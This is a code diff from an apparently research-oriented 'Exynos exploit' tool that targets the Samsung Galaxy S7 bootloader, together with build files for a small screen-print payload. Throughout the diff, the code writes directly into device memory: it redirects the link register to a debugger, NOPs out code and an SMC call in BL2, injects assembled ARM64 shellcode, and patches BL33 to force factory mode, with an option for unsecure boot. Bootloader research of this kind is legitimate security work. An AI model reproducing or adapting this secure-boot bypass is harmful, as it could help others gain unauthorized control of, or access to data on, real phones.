print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}') print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
@ -787,53 +787,101 @@ class ExynosDevice():
BL33_ptr = self.cd.arch_dbg.state.X0 BL33_ptr = self.cd.arch_dbg.state.X0
BL33_LR = self.cd.arch_dbg.state.LR BL33_LR = self.cd.arch_dbg.state.LR
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun) # self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)
# Disable this to keep access to the debugger after senindg the next stage # Disable this to keep access to the debugger after senindg the next stage
self.cd.arch_dbg.state.X23 = DEBUGGER_ADDR # TEMPORARY
self.cd.restore_stack_and_jump(hijacked_fun) self.cd.restore_stack_and_jump(hijacked_fun)
# ==== Stage 5 ==== # ==== Stage 5 ====
# Sends stage 5 (BL33) but returns to debugger after sending. # Sends stage 5 (BL33) but returns to debugger after sending.
stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read() stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
print_payload = open("/home/jonathan/projects/samsung_s7/source/screen_print/print.bin", "rb").read()
off = stage4.find(bytes.fromhex("fd 7b bd a9 fd 03 00 91 f3 53 01 a9 d4 08 00 d0 f3 03 01 2a a0 17 00 f9"))
stage4 = stage4[off:] + print_payload + stage4[off+len(print_payload):]
self.send_normal_stage(stage4) self.send_normal_stage(stage4)
self.connect_device() self.connect_device()
self.usb_read(0x200) # GiAs self.usb_read(0x200) # GiAs
# # Modify something in BL33 # # Modify something in BL33
print(self.cd.arch_dbg.state.print_ctx()) print(self.cd.arch_dbg.state.print_ctx())
print(self.cd.memdump_region(0x8f063710, 0x8)) print(self.cd.memdump_region(0x8f063710, 0x8))
self.cd.memwrite_region(0x8f063710, struct.pack('>I', 0x53614d74)) self.cd.memwrite_region(0x8f063710, struct.pack('>I', 0x53614d74))
print(self.cd.memdump_region(0x8f063710, 0x8)) print(self.cd.memdump_region(0x8f063710, 0x8))
# Modify USB Recovyer mode string to: NFI Patched BL33 # Modify USB Recovyer mode string to: NFI Patched BL33
patch_string = b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33' # patch_string = b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33'
# self.cd.memwrite_region(0x8f06ab10, b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33') # self.cd.memwrite_region(0x8f06ab10, patch_string)
# Print state of x30/LR on screen # Print state of x30/LR on screen
# self.cd.memwrite_region(0x8f01dc08, struct.pack('>I', 0xa40000f9)) self.cd.memwrite_region(0x8f063718, struct.pack('>I', 0x61616161))
# Write NOP from 0x8f008cb8 to 0x8f008d14 ### ==================== Writing nops to code cave
self.cd.memwrite_region(0x8f008cb8, b'\x1f\x20\x03\xd5' * 10) # Write NOP from 0x8f008cb8 to 0x8f008d14 using self.cd.memwrite
for i in range(0x8f008cb8, 0x8f008d14, 4):
self.cd.memwrite_region(i, b'\x1f\x20\x03\xd5')
#self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5))
# Write opcode that writes 'aaaaaaaa' at 0x8f06ab10 +0x8 # Overwrite the data pointer showing 'USB Recovery Mode' to something else
shellcode = f""" # self.cd.memwrite_region(0x8f01dc00, struct.pack('>I', 0x24080090))
mov x21, #0x1
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
self.cd.memwrite_region(0x8f008cb8, shellcode)
# Overwrite a str to a something else
# self.cd.memwrite_region(0x8f01dc28, struct.pack('>I', 0xe40300f9))
# Nop initial show usb recovery mode screen function
# self.cd.memwrite_region(0x8f022654, struct.pack('>I', 0x1f2003d5))
self.cd.memwrite_region(0x8f022654, struct.pack('>I', 0xe4ff9fd2))
# Modify a mov function (0xffff into x4). If this is not nopped, or adjusted, the device will crash. But will try to continue booting (?)
self.cd.memwrite_region(0x8f022658, struct.pack('>I', 0x1f2003d5)) #0xe5031daa.
# Overwrite log function to display screen at end of nops
self.cd.memwrite_region(0x8f02265c, struct.pack('>I', 0xbbffff97)) #0xbbffff97
# ==================
# for i in range(0x8f008cd8, 0x8f008cf4, 4):
# self.cd.memwrite_region(i, struct.pack('>I', 0x1f2003d5))
# # Write shellcode to set some contents on x0 to x5 registers
# shellcode = f"""
# // x5 is the address at x0
# mov x5, x0
# mov x0, 0x1234
# mov x1, 0x12
# mov x2, 0xffff
# mov x3, 0xffff
# mov x4, 0xffff
# bl 0x8f025fb8
# // ret
# """
# shellcode = ks.asm(shellcode, as_bytes=True)[0]
# self.cd.memwrite_region(0x8f008cd8, shellcode)
# Nop a adrp towards 0x8f09a000
self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5))
# ODIN MODE to FACTORY mode
self.cd.memwrite_region(0x8f0114f8, struct.pack('>I', 0x82008052))
# Nop a SMC call in BL2
self.cd.memwrite_region(0x02059650, struct.pack('>I', 0x1f2003d5))
# Jump into a different function that continues the boot flow (different than BL33_LR)
self.cd.restore_stack_and_jump(0x02024e5c) self.cd.restore_stack_and_jump(0x02024e5c)
pass pass
if __name__ == "__main__": if __name__ == "__main__":
arg = argparse.ArgumentParser("Exynos exploit") arg = argparse.ArgumentParser("Exynos exploit")
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False) arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False)
arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False) arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False)
args = arg.parse_args() args = arg.parse_args()
exynos = ExynosDevice() exynos = ExynosDevice()
@ -843,7 +891,7 @@ if __name__ == "__main__":
exynos.dump_memory(write=True) exynos.dump_memory(write=True)
# exynos.usb_debug() # exynos.usb_debug()
sys.exit(0) sys.exit(0)
if args.unsecure_boot: if args.unsecure_boot:
exynos.unsecure_boot() exynos.unsecure_boot()
sys.exit(0) sys.exit(0)
@ -857,5 +905,5 @@ if __name__ == "__main__":
exynos.setup_guppy_debugger() exynos.setup_guppy_debugger()
exynos.dumb_interact() exynos.dumb_interact()
sys.exit(0) sys.exit(0)

Binary file not shown.

View File

@ -0,0 +1,18 @@
ifeq ($(ANDROID_NDK_ROOT),)
$(error Error : Set the env variable 'ANDROID_NDK_ROOT' with the path of the Android NDK (version 20))
endif
CC := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android27-clang
AR := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ar
OBJCOPY := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-objcopy
LD := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ld.bfd
#==================Target Samsung S7 (8890)==================
CFLAGS_SAMSUNGS7 = -Os # -Os for optimization for size
print:
$(CC) entry.S -c -o entry.o $(CFLAGS_SAMSUNGS7) # -c compiles assembly code, and -o creates an object file (containing linking and symbol information)
$(CC) $(CFLAGS_SAMSUNGS7) -c test_print.c -o print.o # compiles test_print.c to print.o
$(LD) -T test_print.ld entry.o print.o -o print.elf --just-symbols=symbols.txt # -T for linker script, --just-symbols for symbols file
$(OBJCOPY) -O binary print.elf print.bin

View File

View File

@ -0,0 +1,2 @@
start:
b notmain

BIN
source/screen_print/entry.o Normal file

Binary file not shown.

BIN
source/screen_print/print.elf Executable file

Binary file not shown.

BIN
source/screen_print/print.o Normal file

Binary file not shown.

View File

@ -0,0 +1 @@
jh_print_to_screen = 0x8f0222d0;

View File

@ -0,0 +1,16 @@
#include <stdint.h>
void jh_print_to_screen(int param_1,int param_2,int param_3,int param_4,int param_5,char *param_6,
int param_7);
// uint r_log(char *fmt,...);
int notmain(char *msg, int msg_len){
// jh_print_to_screen(0x1234, 12, 0xfff, 0xfff, msg, msg_len, 2);
// volatile int a = 0;
// for(int i = 0; i < 100000; i++){
// a++;
// }
// while(1);
return 0;
}

View File

@ -0,0 +1,14 @@
MEMORY {
ROM (rwx): ORIGIN = 0x8f007de8, LENGTH = 0x108
}
SECTIONS
{
. = 0x8f007de8;
.text . : {
*(.text*)
*(.data*)
*(.rodata*)
} >ROM
}